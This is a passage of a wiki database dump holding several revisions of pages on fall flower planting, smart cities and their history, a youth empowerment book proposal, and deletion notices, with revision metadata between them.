late-season flowers that can bring purple, pink, blue, or white colors to the garden. They are especially useful for extending the flowering season when many summer plants begin to fade. Plant asters in a sunny location with fertile, well-drained soil. They can work well in borders and mixed flower beds. == 9. Zinnias == Zinnias are colorful flowers that can provide a strong burst of late-season color. They come in many shades and flower shapes, making them easy to incorporate into different garden styles. They prefer full sun and reasonably fertile, well-drained soil. Regularly removing faded blooms can encourage more flowers. == 10. Dianthus == Dianthus offers attractive flowers and, in many varieties, a pleasant fragrance. Their compact growth makes them suitable for borders, containers, and smaller gardens. They generally prefer plenty of sunlight and soil that drains well. Avoid overwatering, as consistently wet soil can cause root problems. == Tips for Planting Flowers in September == Before planting, prepare the soil by removing weeds and mixing in compost or other organic matter if needed. Choose plants that are suitable for your local climate and expected fall temperatures. Water newly planted flowers consistently while they establish their roots. However, always check the soil before watering because requirements vary depending on the plant, weather, and soil type. Adding a layer of mulch around plants can help retain soil moisture, reduce weeds, and protect roots from temperature changes. Also, pay attention to sunlight requirements. Most flowering plants perform best when planted in an appropriate location rather than simply being placed wherever there is available space. == Create a Colorful Fall Garden == September gives gardeners an opportunity to transition from summer flowers to a fresh display of cool-season and late-blooming plants. Chrysanthemums, pansies, violas, calendula, sweet alyssum, snapdragons, marigolds, asters, zinnias, and dianthus are all worth considering. Choose a combination of colors, heights, and flowering times to create a garden that remains attractive throughout the season. With good soil, proper watering, and enough sunlight, your September planting can become the highlight of your fall garden. iazs5f8lucmkxp3xay370mmc4ay9tfs 2 485688 4670646 4670623 2026-09-17T13:10:13Z MathXplore 3097823 Requesting deletion ([[:m:Special:MyLanguage/User:TenWhile6/XReport|XReport]] v3.1c) 4670646 wikitext text/x-wiki <noinclude>{{delete|1=Out of project scope <small>[[:m:Special:MyLanguage/User:TenWhile6/XReport|XReport]]</small>}}</noinclude> Samalie Nalukwago is a Ugandan, a librarian, an educationist, and a mentor. She loves empowering girls to be good leaders. she's a climate activist. 9ro85mygq37g8jm9qr6ww6t6hqeokf8 0 485690 4670641 4670625 2026-09-17T13:06:35Z MathXplore 3097823 Marking for speedy deletion: Encyclopedic articles belong at [[w:|Wikipedia]] 4670641 wikitext text/x-wiki <noinclude>{{Delete|example=false|Encyclopedic articles belong at [[w:|Wikipedia]]}}</noinclude> == Overview == A '''smart city''' is an urban area that uses digital technology, data, and connected infrastructure to improve how services are delivered while making the city more livable, efficient, and sustainable. It represents the strategic use of technology and modernized infrastructure to ensure that a city operates more efficiently, sustainably, and remains livable for its residents. Increasingly, the measure of an intelligent city is how effectively technology, infrastructure and public services improve everyday life for residents. By 2050, nearly 70 percent of the world's population will live in urban areas, placing enormous pressure on roads, power grids, and other urban systems, which is why smart city approaches have gained global attention. == Definition == One well-accepted definition describes a smart city as a city that connects the physical infrastructure, the information-technology infrastructure, the social infrastructure and the business infrastructure to leverage the collective intelligence of the city. More simply, a smart city can be understood as an urban center with technologies that use digital data to deliver better public services and more effective uses of resources. It focuses on efficiency, sustainability, and connectivity through integrated digital solutions. A smart city leverages advanced technologies and data-driven solutions to manage resources, services, and infrastructure efficiently. == Core Concepts == A smart city is comprised of several interconnected layers that work together. The Physical Layer includes the hard infrastructure such as roads, pipes, and buildings, but retrofitted with intelligence, involving smart meters for real-time power usage and automated waste collection systems. The Digital Layer acts as the nervous system of the city, consisting of sensors, cameras, and connectivity such as 4G, 5G, and fiber that collect and transmit data. The Service Layer is where the citizen interacts with the city, including online portals for government services that reduce the need for physical queues, and apps that provide real-time bus locations or allow reporting of broken streetlights. The Cognitive Layer involves the Integrated Command and Control Centers which are the brains where data from various departments is synthesized to make real-time decisions, such as adjusting traffic signal timings based on current congestion levels. Other key characteristics of a smart city include the use of the Internet of Things, big data, and artificial intelligence, which play a significant role in organizing urban infrastructure and managing resources. A smart city consists of six major components including smart governance, smart economy, smart citizens, smart mobility, smart environment, and smart living. It leverages interconnected devices and intelligent systems to enhance efficiency, promote sustainability, and address complex urban challenges effectively. == Examples == Singapore's Smart Nation Initiative represents one of the most comprehensive national-level smart city programs, integrating digital technologies across government services, transportation, healthcare, and urban planning. Songdo in the Republic of Korea serves as a purpose-built smart city where autonomous urban systems manage services with minimal human intervention. Valencia in Spain has implemented AI-driven autonomous urban systems for traffic management, public safety, and environmental monitoring. Shenzhen in China has developed autonomous public transportation systems including self-driving buses and smart traffic management. Dubai has launched a self-driving transport strategy aiming to make 25 percent of all trips autonomous by 2030. In India, Guna in Madhya Pradesh is on a journey towards becoming an autonomous city with integrated smart infrastructure. Beijing and Shanghai feature extensive networks of smart traffic lights adjusted based on real-time traffic, electronic toll systems, and AI-powered ride-hailing services. Zurich consistently ranks among the smartest cities in the world for infrastructure, technology, governance and quality of life. 7wqkyxa82q1x4dp3ue5x9gu86qni55w 4670650 4670641 2026-09-17T13:22:26Z ActStuffOGWiki 3624203 4670650 wikitext text/x-wiki <noinclude>{{Delete|example=false}} </noinclude> == Overview == A '''smart city''' is an urban area that uses digital technology, data, and connected infrastructure to improve how services are delivered while making the city more livable, efficient, and sustainable. It represents the strategic use of technology and modernized infrastructure to ensure that a city operates more efficiently, sustainably, and remains livable for its residents. Increasingly, the measure of an intelligent city is how effectively technology, infrastructure and public services improve everyday life for residents. By 2050, nearly 70 percent of the world's population will live in urban areas, placing enormous pressure on roads, power grids, and other urban systems, which is why smart city approaches have gained global attention. == Definition == One well-accepted definition describes a smart city as a city that connects the physical infrastructure, the information-technology infrastructure, the social infrastructure and the business infrastructure to leverage the collective intelligence of the city. More simply, a smart city can be understood as an urban center with technologies that use digital data to deliver better public services and more effective uses of resources. It focuses on efficiency, sustainability, and connectivity through integrated digital solutions. A smart city leverages advanced technologies and data-driven solutions to manage resources, services, and infrastructure efficiently. == Core Concepts == A smart city is comprised of several interconnected layers that work together. The Physical Layer includes the hard infrastructure such as roads, pipes, and buildings, but retrofitted with intelligence, involving smart meters for real-time power usage and automated waste collection systems. The Digital Layer acts as the nervous system of the city, consisting of sensors, cameras, and connectivity such as 4G, 5G, and fiber that collect and transmit data. The Service Layer is where the citizen interacts with the city, including online portals for government services that reduce the need for physical queues, and apps that provide real-time bus locations or allow reporting of broken streetlights. The Cognitive Layer involves the Integrated Command and Control Centers which are the brains where data from various departments is synthesized to make real-time decisions, such as adjusting traffic signal timings based on current congestion levels. Other key characteristics of a smart city include the use of the Internet of Things, big data, and artificial intelligence, which play a significant role in organizing urban infrastructure and managing resources. A smart city consists of six major components including smart governance, smart economy, smart citizens, smart mobility, smart environment, and smart living. It leverages interconnected devices and intelligent systems to enhance efficiency, promote sustainability, and address complex urban challenges effectively. == Examples == Singapore's Smart Nation Initiative represents one of the most comprehensive national-level smart city programs, integrating digital technologies across government services, transportation, healthcare, and urban planning. Songdo in the Republic of Korea serves as a purpose-built smart city where autonomous urban systems manage services with minimal human intervention. Valencia in Spain has implemented AI-driven autonomous urban systems for traffic management, public safety, and environmental monitoring. Shenzhen in China has developed autonomous public transportation systems including self-driving buses and smart traffic management. Dubai has launched a self-driving transport strategy aiming to make 25 percent of all trips autonomous by 2030. In India, Guna in Madhya Pradesh is on a journey towards becoming an autonomous city with integrated smart infrastructure. Beijing and Shanghai feature extensive networks of smart traffic lights adjusted based on real-time traffic, electronic toll systems, and AI-powered ride-hailing services. Zurich consistently ranks among the smartest cities in the world for infrastructure, technology, governance and quality of life. oe1jgsw9euv5zn12ifhhxmua0da27yt 4670651 4670650 2026-09-17T13:22:48Z ActStuffOGWiki 3624203 4670651 wikitext text/x-wiki <noinclude>{{Delete|example=false}} </noinclude> == Overview == A '''smart city''' is an urban area that uses digital technology, data, and connected infrastructure to improve how services are delivered while making the city more livable, efficient, and sustainable. It represents the strategic use of technology and modernized infrastructure to ensure that a city operates more efficiently, sustainably, and remains livable for its residents. Increasingly, the measure of an intelligent city is how effectively technology, infrastructure and public services improve everyday life for residents. By 2050, nearly 70 percent of the world's population will live in urban areas, placing enormous pressure on roads, power grids, and other urban systems, which is why smart city approaches have gained global attention. == Definition == One well-accepted definition describes a smart city as a city that connects the physical infrastructure, the information-technology infrastructure, the social infrastructure and the business infrastructure to leverage the collective intelligence of the city. More simply, a smart city can be understood as an urban center with technologies that use digital data to deliver better public services and more effective uses of resources. It focuses on efficiency, sustainability, and connectivity through integrated digital solutions. A smart city leverages advanced technologies and data-driven solutions to manage resources, services, and infrastructure efficiently. == Core Concepts == A smart city is comprised of several interconnected layers that work together. The Physical Layer includes the hard infrastructure such as roads, pipes, and buildings, but retrofitted with intelligence, involving smart meters for real-time power usage and automated waste collection systems. The Digital Layer acts as the nervous system of the city, consisting of sensors, cameras, and connectivity such as 4G, 5G, and fiber that collect and transmit data. The Service Layer is where the citizen interacts with the city, including online portals for government services that reduce the need for physical queues, and apps that provide real-time bus locations or allow reporting of broken streetlights. The Cognitive Layer involves the Integrated Command and Control Centers which are the brains where data from various departments is synthesized to make real-time decisions, such as adjusting traffic signal timings based on current congestion levels. Other key characteristics of a smart city include the use of the Internet of Things, big data, and artificial intelligence, which play a significant role in organizing urban infrastructure and managing resources. A smart city consists of six major components including smart governance, smart economy, smart citizens, smart mobility, smart environment, and smart living. It leverages interconnected devices and intelligent systems to enhance efficiency, promote sustainability, and address complex urban challenges effectively. == Examples == Singapore's Smart Nation Initiative represents one of the most comprehensive national-level smart city programs, integrating digital technologies across government services, transportation, healthcare, and urban planning. Songdo in the Republic of Korea serves as a purpose-built smart city where autonomous urban systems manage services with minimal human intervention. Valencia in Spain has implemented AI-driven autonomous urban systems for traffic management, public safety, and environmental monitoring. Shenzhen in China has developed autonomous public transportation systems including self-driving buses and smart traffic management. Dubai has launched a self-driving transport strategy aiming to make 25 percent of all trips autonomous by 2030. In India, Guna in Madhya Pradesh is on a journey towards becoming an autonomous city with integrated smart infrastructure. Beijing and Shanghai feature extensive networks of smart traffic lights adjusted based on real-time traffic, electronic toll systems, and AI-powered ride-hailing services. Zurich consistently ranks among the smartest cities in the world for infrastructure, technology, governance and quality of life. [[Category:Smart city]] jc44omdg1wm1i79b485hhkhu9xnfp38 4670657 4670651 2026-09-17T13:39:12Z MathXplore 3097823 Undid revision [[Special:Diff/4670650|4670650]] by [[Special:Contributions/ActStuffOGWiki|ActStuffOGWiki]] ([[User talk:ActStuffOGWiki|discuss]]) 4670657 wikitext text/x-wiki <noinclude>{{Delete|example=false|Encyclopedic articles belong at [[w:|Wikipedia]]}}</noinclude> == Overview == A '''smart city''' is an urban area that uses digital technology, data, and connected infrastructure to improve how services are delivered while making the city more livable, efficient, and sustainable. It represents the strategic use of technology and modernized infrastructure to ensure that a city operates more efficiently, sustainably, and remains livable for its residents. Increasingly, the measure of an intelligent city is how effectively technology, infrastructure and public services improve everyday life for residents. By 2050, nearly 70 percent of the world's population will live in urban areas, placing enormous pressure on roads, power grids, and other urban systems, which is why smart city approaches have gained global attention. == Definition == One well-accepted definition describes a smart city as a city that connects the physical infrastructure, the information-technology infrastructure, the social infrastructure and the business infrastructure to leverage the collective intelligence of the city. More simply, a smart city can be understood as an urban center with technologies that use digital data to deliver better public services and more effective uses of resources. It focuses on efficiency, sustainability, and connectivity through integrated digital solutions. A smart city leverages advanced technologies and data-driven solutions to manage resources, services, and infrastructure efficiently. == Core Concepts == A smart city is comprised of several interconnected layers that work together. The Physical Layer includes the hard infrastructure such as roads, pipes, and buildings, but retrofitted with intelligence, involving smart meters for real-time power usage and automated waste collection systems. The Digital Layer acts as the nervous system of the city, consisting of sensors, cameras, and connectivity such as 4G, 5G, and fiber that collect and transmit data. The Service Layer is where the citizen interacts with the city, including online portals for government services that reduce the need for physical queues, and apps that provide real-time bus locations or allow reporting of broken streetlights. The Cognitive Layer involves the Integrated Command and Control Centers which are the brains where data from various departments is synthesized to make real-time decisions, such as adjusting traffic signal timings based on current congestion levels. Other key characteristics of a smart city include the use of the Internet of Things, big data, and artificial intelligence, which play a significant role in organizing urban infrastructure and managing resources. A smart city consists of six major components including smart governance, smart economy, smart citizens, smart mobility, smart environment, and smart living. It leverages interconnected devices and intelligent systems to enhance efficiency, promote sustainability, and address complex urban challenges effectively. == Examples == Singapore's Smart Nation Initiative represents one of the most comprehensive national-level smart city programs, integrating digital technologies across government services, transportation, healthcare, and urban planning. Songdo in the Republic of Korea serves as a purpose-built smart city where autonomous urban systems manage services with minimal human intervention. Valencia in Spain has implemented AI-driven autonomous urban systems for traffic management, public safety, and environmental monitoring. Shenzhen in China has developed autonomous public transportation systems including self-driving buses and smart traffic management. Dubai has launched a self-driving transport strategy aiming to make 25 percent of all trips autonomous by 2030. In India, Guna in Madhya Pradesh is on a journey towards becoming an autonomous city with integrated smart infrastructure. Beijing and Shanghai feature extensive networks of smart traffic lights adjusted based on real-time traffic, electronic toll systems, and AI-powered ride-hailing services. Zurich consistently ranks among the smartest cities in the world for infrastructure, technology, governance and quality of life. [[Category:Smart city]] fzge1yc9l96r8lluwpeubtyo42x4y46 2 485691 4670628 2026-09-17T12:33:35Z Esther49 3626157 created a book 4670628 wikitext text/x-wiki == '''YOUTH EMPOWERMENT''' == === <big>Theme</big> === Helping young people discover their abilities, make good decisions and create positive change. === '''<big>Purpose of the Book</big>''' === The book aims to help young people understand their value, develop useful skills, make responsible decisions and participate in the development of their communities. === Target Readers === Young people aged approximately 13–25 years, youth groups, students, teachers and community organisations. === Language and Presentation === The language will be simple, clear and easy to understand. The book will include short chapters, examples, stories, questions and practical activities. = '''Book Summary''' = Empowered Youth, Stronger Communities is a simple guide that encourages young people to believe in themselves and use their abilities to improve their lives and communities. It explains the meaning of youth empowerment and discusses important areas such as self-confidence, goal setting, education, leadership, communication, entrepreneurship, financial literacy, digital skills and self-advocacy. Through practical examples, stories and activities, the book shows young people how to overcome challenges, make responsible decisions, work with others and become positive role models. It reminds readers that empowerment begins with knowledge, confidence, responsibility and action. = '''Shell''' '''Book Proposal''' = === <big>Introduction</big> === Young people are important members of every community. They have ideas, talents, energy and the ability to create positive change. However, many young people face challenges that prevent them from reaching their full potential. This book will provide young people with simple knowledge and practical skills to help them become confident, responsible and active members of society. == '''Proposed Chapters.''' == === Chapter 1: Understanding Youth Empowerment === * Meaning of youth empowerment. * Why young people are important. * Rights, responsibilities and opportunities. * Qualities of an empowered young person. === Chapter 2: Knowing Myself === * Discovering talents and strengths. * Understanding feelings and values. * Building self-confidence. * Developing a positive attitude. === Chapter 3: Setting Goals for My Future === * Meaning of goals. * Short-term and long-term goals. * Making a simple action plan. * Overcoming fear and discouragement. === Chapter 4: Making Good Decisions === * Meaning of decision-making. * Understanding choices and consequences. * Problem-solving skills. * Avoiding harmful peer pressure. === Chapter 5: Communication and Teamwork === * Meaning of communication. * Listening and speaking respectfully. * Solving disagreements peacefully. * Working together to achieve goals. === Chapter 6: Youth Leadership === * Meaning of leadership. * Qualities of a good leader. * Servant leadership. * Leading through example. === Chapter 7: Entrepreneurship and Financial Literacy === * Meaning of entrepreneurship. * Identifying business opportunities. * Saving and budgeting. * Using money responsibly. === Chapter 8: Digital Skills and Responsible Technology Use === * Importance of digital skills. * Using the internet for learning and work. * Online safety and privacy. * Avoiding misinformation and harmful content. === Chapter 9: Self-Advocacy and Knowing My Rights === * Meaning of self-advocacy. * Speaking up respectfully. * Understanding personal boundaries. * Identifying trusted allies. * Seeking help when necessary. == '''Conclusion''' == Youth empowerment begins when young people understand their value and receive the knowledge, skills and support they need. Through this book, readers will be encouraged to believe in themselves, learn continuously, work with others and take practical steps towards a better future. h22g31lyne5sef6i6qj3cnjvvxwhr6a 3 485692 4670630 2026-09-17T13:01:47Z MathXplore 3097823 Notifying author of speedy deletion nomination 4670630 wikitext text/x-wiki == I have added a tag to a page you created == Hi! I'm MathXplore, and I recently reviewed your page, [[:User:BhardwajGardening]]. I have added a tag to the page, because it <strong>may meet the [[Wikibooks:Deletion policy#Speedy deletions|criteria for speedy deletion]].</strong> This means that it can be deleted at any time. If you believe that your page should not be deleted, please post a message on [[User talk:BhardwajGardening|the page's talk page]] explaining why. <strong>If your reasoning is convincing, your page may be saved.</strong> If you have any questions or concerns, please [[User talk:MathXplore|let me know]]. Thank you! <!-- Substituted from User:JJPMaster/CurateThisPage/authorMsg --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:01, 17 September 2026 (UTC) se95figpdv5evusxnyxa9vbomag7qno 0 485693 4670632 2026-09-17T13:02:42Z ActStuffOGWiki 3624203 I made it 4670632 wikitext text/x-wiki == Overview == [[File:Smart City Nansha.jpg|thumb|291x291px|An example of how a '''smart city''' would look. ]] The '''history of smart cities''' spans over three decades, evolving from early conceptual discussions about intelligent communities to urban transformation programs implemented worldwide. The concept of a "smart community" was first formulated as early as 1993 and was presented in the "Guide to Creating Smart Communities" by San Diego State University in 1997. This early approach formed the basis of the European vision of the "smart city" and was described in 2007 by the Centre for Regional Science at the Vienna University of Technology. Thus, the concepts of "smart cities" and "citizen science" have been actively discussed for over 30 years, with market players and public institutions viewing them as a common topic for discussion and a new area for cooperation. {{See also|Citizen Science}} == Timeline of Smart Cities == === Early Concepts (1990s) === During the early 1990s, the foundational ideas of smart cities began to take shape through academic and policy discussions about intelligent communities. The term "smart community" emerged in 1993, marking one of the earliest articulations of the concept that would later evolve into today's smart city paradigm. By 1997, San Diego State University published a guide on creating smart communities, providing practical frameworks for municipalities interested in leveraging technology for urban improvement. In the same decade, Korea began experimenting with traffic management systems and launched pilot projects such as the FTMS on the Gyeongbu Expressway, demonstrating early practical applications of intelligent transportation. By 1998, South Korea hosted the 5th ITS World Congress in Seoul, signalling its ambition to become a global leader in intelligent urban systems. === Technology-Driven Development (2000-2006) === The early 2000s saw the roll-out of nationwide intelligent transportation systems standards and the introduction of electronic toll collection systems in various countries. Model intelligent transportation cities like Jeonju and Daejeon were established in South Korea during this period, serving as testbeds for integrated urban technology solutions. The development of Songdo in South Korea began in the early 2000s as a planned international business district, with technology and sustainability incorporated into the master plan rather than added later. This represented a shift from retrofitting existing cities to building smart urban environments from the ground up. In 2010, Korea again drew global attention by hosting the 17th ITS World Congress in Busan, building on momentum from previous decades. === Frameworks and Standards (2007-2014) === The Centre for Regional Science at the Vienna University of Technology described the European vision of the smart city in 2007, providing academic rigor to the concept. In 2010, ITS Korea was formally established to institutionalize intelligent transportation efforts and provide continuity to smart city development. In 2012, the People's Republic of China Ministry of Housing and Urban–Rural Development carried out smart city pilot work nationwide, identifying 90 cities, districts, and towns as the first batch of national smart city pilots. These included the Dongcheng and Chaoyang districts of Beijing among others. The second and third batches of pilot projects were announced in 2013 and 2014 respectively, demonstrating China's systematic approach to smart city development. === Global Expansion (2015-2016) === The year 2015 marked a significant achievement in smart city history with multiple major initiatives launching globally. India's Smart Cities Mission was launched on June 25, 2015, under the leadership of Prime Minister Narendra Modi, with a mission to develop 100 smart cities across the country. The initiative used a unique two-stage competitive city challenge process to select 100 cities, with each city receiving ₹500 crore from the central government over five years, matched by state and urban local body contributions. In the Philippines, Cauayan City began its path toward intelligence in 2015 under the vision of former Mayor Bernard Faustino L. Dy, when the Department of Science and Technology launched the "Smart Philippines" project to find partner cities willing to pilot digital systems. Cauayan was the first city to volunteer as a "Living Lab" for testing new technology. In June 2015, Kansas City signed a $15.7 million public-private partnership for its Downtown Smart City Corridor, which switched on with the new streetcar in May 2016. This included free outdoor Wi-Fi in more than 50 square blocks in downtown Kansas City, a light sensory network of 125 smart streetlights, and 25 interactive kiosks. Surat opened one of India's first municipal command centers in 2016 for ₹69 crore, putting its integrated command and control centre into operation among the earliest of the Smart Cities Mission. === Regional Adaptations (2017-2020) === Following the initial wave of major programs, different regions began adapting smart city concepts to their local contexts and priorities. In Cauayan, Philippines, although the early-stage systems were still far from complete, an experimental online payment system run jointly with a local university and DOST from the outset became an important rehearsal. This made Cauayan one of the few cities in the Philippines with an online channel ready to serve its people the moment the COVID-19 crisis struck. The lessons of that crisis were then used to accelerate the linking of data across every sector. During this period, city administrators announced smart city strategies or projects to raise the city's profile, attract investment and attract high-tech businesses, whilst companies were tasked with solving local problems in urban services. As a result, the solutions tested were often isolated, and the experience of digitalizing one municipal service proved difficult to transfer to others. === Integration and Further Development (2021-present) === The development and widespread adoption of information and communication technologies have led to the emergence of new forms of citizens' digital participation in socio-political processes. A modern smart city consists of a set of isolated, vertical solutions, and integrating these solutions on the basis of unified digital platforms has become a pressing and complex challenge for businesses and local authorities. Recent scholarship proposes a three-stage model of urban digital transition: from the Smart City, in which sensor networks and real-time analytics form the digital nervous system of urban life; through the Phygital City, in which physical and digital layers are experienced simultaneously; and towards "digital habitation," a condition in which physical geography ceases to be the primary frame of reference. This evolution reflects the maturation of smart city thinking from technology-centric approaches to more integrated human-technology urban experiences. == Future Directions == Recent developments show smart cities continuing to evolve with more sophisticated approaches to governance, data integration, and citizen participation. City administrators now view smart cities not just as technology projects but as strategies to raise the city's profile, attract investment and attract high-tech businesses. Companies are increasingly tasked with solving local problems in urban services rather than simply deploying technology. The focus has shifted from isolated solutions to integrated platforms that can unify data and services across municipal departments. Contemporary smart city development emphasizes not only technical parameters but also the forms of public participation employed, including information provision, consultation, and dialogue. Indicators of technical capabilities, the degree of public participation, and the public significance of the issues under discussion now help to assess the effectiveness of e-participation platforms and can be used in their evaluation and comparative analysis at the state level. __INDEX__ __NONEWSECTIONLINK__ jia9shw78f0uuta6t05dxrvxlm0qcst 4670638 4670632 2026-09-17T13:04:15Z ActStuffOGWiki 3624203 4670638 wikitext text/x-wiki == Overview == [[File:Smart City Nansha.jpg|thumb|291x291px|An example of how a '''smart city''' would look. ]] The '''history of smart cities''' spans over three decades, evolving from early conceptual discussions about intelligent communities to urban transformation programs implemented worldwide. The concept of a "smart community" was first formulated as early as 1993 and was presented in the "Guide to Creating Smart Communities" by San Diego State University in 1997. This early approach formed the basis of the European vision of the "smart city" and was described in 2007 by the Centre for Regional Science at the Vienna University of Technology. Thus, the concepts of "smart cities" and "citizen science" have been actively discussed for over 30 years, with market players and public institutions viewing them as a common topic for discussion and a new area for cooperation. {{See also|Citizen Science}} == Timeline of Smart Cities == === Early Concepts (1990s) === During the early 1990s, the foundational ideas of smart cities began to take shape through academic and policy discussions about intelligent communities. The term "smart community" emerged in 1993, marking one of the earliest articulations of the concept that would later evolve into today's smart city paradigm. By 1997, San Diego State University published a guide on creating smart communities, providing practical frameworks for municipalities interested in leveraging technology for urban improvement. In the same decade, Korea began experimenting with traffic management systems and launched pilot projects such as the FTMS on the Gyeongbu Expressway, demonstrating early practical applications of intelligent transportation. By 1998, South Korea hosted the 5th ITS World Congress in Seoul, signalling its ambition to become a global leader in intelligent urban systems. === Technology-Driven Development (2000-2006) === The early 2000s saw the roll-out of nationwide intelligent transportation systems standards and the introduction of electronic toll collection systems in various countries. Model intelligent transportation cities like Jeonju and Daejeon were established in South Korea during this period, serving as testbeds for integrated urban technology solutions. The development of Songdo in South Korea began in the early 2000s as a planned international business district, with technology and sustainability incorporated into the master plan rather than added later. This represented a shift from retrofitting existing cities to building smart urban environments from the ground up. In 2010, Korea again drew global attention by hosting the 17th ITS World Congress in Busan, building on momentum from previous decades. === Frameworks and Standards (2007-2014) === The Centre for Regional Science at the Vienna University of Technology described the European vision of the smart city in 2007, providing academic rigor to the concept. In 2010, ITS Korea was formally established to institutionalize intelligent transportation efforts and provide continuity to smart city development. In 2012, the People's Republic of China Ministry of Housing and Urban–Rural Development carried out smart city pilot work nationwide, identifying 90 cities, districts, and towns as the first batch of national smart city pilots. These included the Dongcheng and Chaoyang districts of Beijing among others. The second and third batches of pilot projects were announced in 2013 and 2014 respectively, demonstrating China's systematic approach to smart city development. === Global Expansion (2015-2016) === The year 2015 marked a significant achievement in smart city history with multiple major initiatives launching globally. India's Smart Cities Mission was launched on June 25, 2015, under the leadership of Prime Minister Narendra Modi, with a mission to develop 100 smart cities across the country. The initiative used a unique two-stage competitive city challenge process to select 100 cities, with each city receiving ₹500 crore from the central government over five years, matched by state and urban local body contributions. In the Philippines, Cauayan City began its path toward intelligence in 2015 under the vision of former Mayor Bernard Faustino L. Dy, when the Department of Science and Technology launched the "Smart Philippines" project to find partner cities willing to pilot digital systems. Cauayan was the first city to volunteer as a "Living Lab" for testing new technology. In June 2015, Kansas City signed a $15.7 million public-private partnership for its Downtown Smart City Corridor, which switched on with the new streetcar in May 2016. This included free outdoor Wi-Fi in more than 50 square blocks in downtown Kansas City, a light sensory network of 125 smart streetlights, and 25 interactive kiosks. Surat opened one of India's first municipal command centers in 2016 for ₹69 crore, putting its integrated command and control centre into operation among the earliest of the Smart Cities Mission. === Regional Adaptations (2017-2020) === Following the initial wave of major programs, different regions began adapting smart city concepts to their local contexts and priorities. In Cauayan, Philippines, although the early-stage systems were still far from complete, an experimental online payment system run jointly with a local university and DOST from the outset became an important rehearsal. This made Cauayan one of the few cities in the Philippines with an online channel ready to serve its people the moment the COVID-19 crisis struck. The lessons of that crisis were then used to accelerate the linking of data across every sector. During this period, city administrators announced smart city strategies or projects to raise the city's profile, attract investment and attract high-tech businesses, whilst companies were tasked with solving local problems in urban services. As a result, the solutions tested were often isolated, and the experience of digitalizing one municipal service proved difficult to transfer to others. === Integration and Further Development (2021-present) === The development and widespread adoption of information and communication technologies have led to the emergence of new forms of citizens' digital participation in socio-political processes. A modern smart city consists of a set of isolated, vertical solutions, and integrating these solutions on the basis of unified digital platforms has become a pressing and complex challenge for businesses and local authorities. Recent scholarship proposes a three-stage model of urban digital transition: from the Smart City, in which sensor networks and real-time analytics form the digital nervous system of urban life; through the Phygital City, in which physical and digital layers are experienced simultaneously; and towards "digital habitation," a condition in which physical geography ceases to be the primary frame of reference. This evolution reflects the maturation of smart city thinking from technology-centric approaches to more integrated human-technology urban experiences. == Future Directions == Recent developments show smart cities continuing to evolve with more sophisticated approaches to governance, data integration, and citizen participation. City administrators now view smart cities not just as technology projects but as strategies to raise the city's profile, attract investment and attract high-tech businesses. Companies are increasingly tasked with solving local problems in urban services rather than simply deploying technology. The focus has shifted from isolated solutions to integrated platforms that can unify data and services across municipal departments. Contemporary smart city development emphasizes not only technical parameters but also the forms of public participation employed, including information provision, consultation, and dialogue. Indicators of technical capabilities, the degree of public participation, and the public significance of the issues under discussion now help to assess the effectiveness of e-participation platforms and can be used in their evaluation and comparative analysis at the state level. __INDEX__ __NONEWSECTIONLINK__ [[Category:Smart city]] 055usvfkvmfnlibp1pe9c2c42a3vlzu 4670640 4670638 2026-09-17T13:06:23Z MathXplore 3097823 Marking for speedy deletion: Encyclopedic articles belong at [[w:|Wikipedia]] 4670640 wikitext text/x-wiki <noinclude>{{Delete|example=false|Encyclopedic articles belong at [[w:|Wikipedia]]}}</noinclude> == Overview == [[File:Smart City Nansha.jpg|thumb|291x291px|An example of how a '''smart city''' would look. ]] The '''history of smart cities''' spans over three decades, evolving from early conceptual discussions about intelligent communities to urban transformation programs implemented worldwide. The concept of a "smart community" was first formulated as early as 1993 and was presented in the "Guide to Creating Smart Communities" by San Diego State University in 1997. This early approach formed the basis of the European vision of the "smart city" and was described in 2007 by the Centre for Regional Science at the Vienna University of Technology. Thus, the concepts of "smart cities" and "citizen science" have been actively discussed for over 30 years, with market players and public institutions viewing them as a common topic for discussion and a new area for cooperation. {{See also|Citizen Science}} == Timeline of Smart Cities == === Early Concepts (1990s) === During the early 1990s, the foundational ideas of smart cities began to take shape through academic and policy discussions about intelligent communities. The term "smart community" emerged in 1993, marking one of the earliest articulations of the concept that would later evolve into today's smart city paradigm. By 1997, San Diego State University published a guide on creating smart communities, providing practical frameworks for municipalities interested in leveraging technology for urban improvement. In the same decade, Korea began experimenting with traffic management systems and launched pilot projects such as the FTMS on the Gyeongbu Expressway, demonstrating early practical applications of intelligent transportation. By 1998, South Korea hosted the 5th ITS World Congress in Seoul, signalling its ambition to become a global leader in intelligent urban systems. === Technology-Driven Development (2000-2006) === The early 2000s saw the roll-out of nationwide intelligent transportation systems standards and the introduction of electronic toll collection systems in various countries. Model intelligent transportation cities like Jeonju and Daejeon were established in South Korea during this period, serving as testbeds for integrated urban technology solutions. The development of Songdo in South Korea began in the early 2000s as a planned international business district, with technology and sustainability incorporated into the master plan rather than added later. This represented a shift from retrofitting existing cities to building smart urban environments from the ground up. In 2010, Korea again drew global attention by hosting the 17th ITS World Congress in Busan, building on momentum from previous decades. === Frameworks and Standards (2007-2014) === The Centre for Regional Science at the Vienna University of Technology described the European vision of the smart city in 2007, providing academic rigor to the concept. In 2010, ITS Korea was formally established to institutionalize intelligent transportation efforts and provide continuity to smart city development. In 2012, the People's Republic of China Ministry of Housing and Urban–Rural Development carried out smart city pilot work nationwide, identifying 90 cities, districts, and towns as the first batch of national smart city pilots. These included the Dongcheng and Chaoyang districts of Beijing among others. The second and third batches of pilot projects were announced in 2013 and 2014 respectively, demonstrating China's systematic approach to smart city development. === Global Expansion (2015-2016) === The year 2015 marked a significant achievement in smart city history with multiple major initiatives launching globally. India's Smart Cities Mission was launched on June 25, 2015, under the leadership of Prime Minister Narendra Modi, with a mission to develop 100 smart cities across the country. The initiative used a unique two-stage competitive city challenge process to select 100 cities, with each city receiving ₹500 crore from the central government over five years, matched by state and urban local body contributions. In the Philippines, Cauayan City began its path toward intelligence in 2015 under the vision of former Mayor Bernard Faustino L. Dy, when the Department of Science and Technology launched the "Smart Philippines" project to find partner cities willing to pilot digital systems. Cauayan was the first city to volunteer as a "Living Lab" for testing new technology. In June 2015, Kansas City signed a $15.7 million public-private partnership for its Downtown Smart City Corridor, which switched on with the new streetcar in May 2016. This included free outdoor Wi-Fi in more than 50 square blocks in downtown Kansas City, a light sensory network of 125 smart streetlights, and 25 interactive kiosks. Surat opened one of India's first municipal command centers in 2016 for ₹69 crore, putting its integrated command and control centre into operation among the earliest of the Smart Cities Mission. === Regional Adaptations (2017-2020) === Following the initial wave of major programs, different regions began adapting smart city concepts to their local contexts 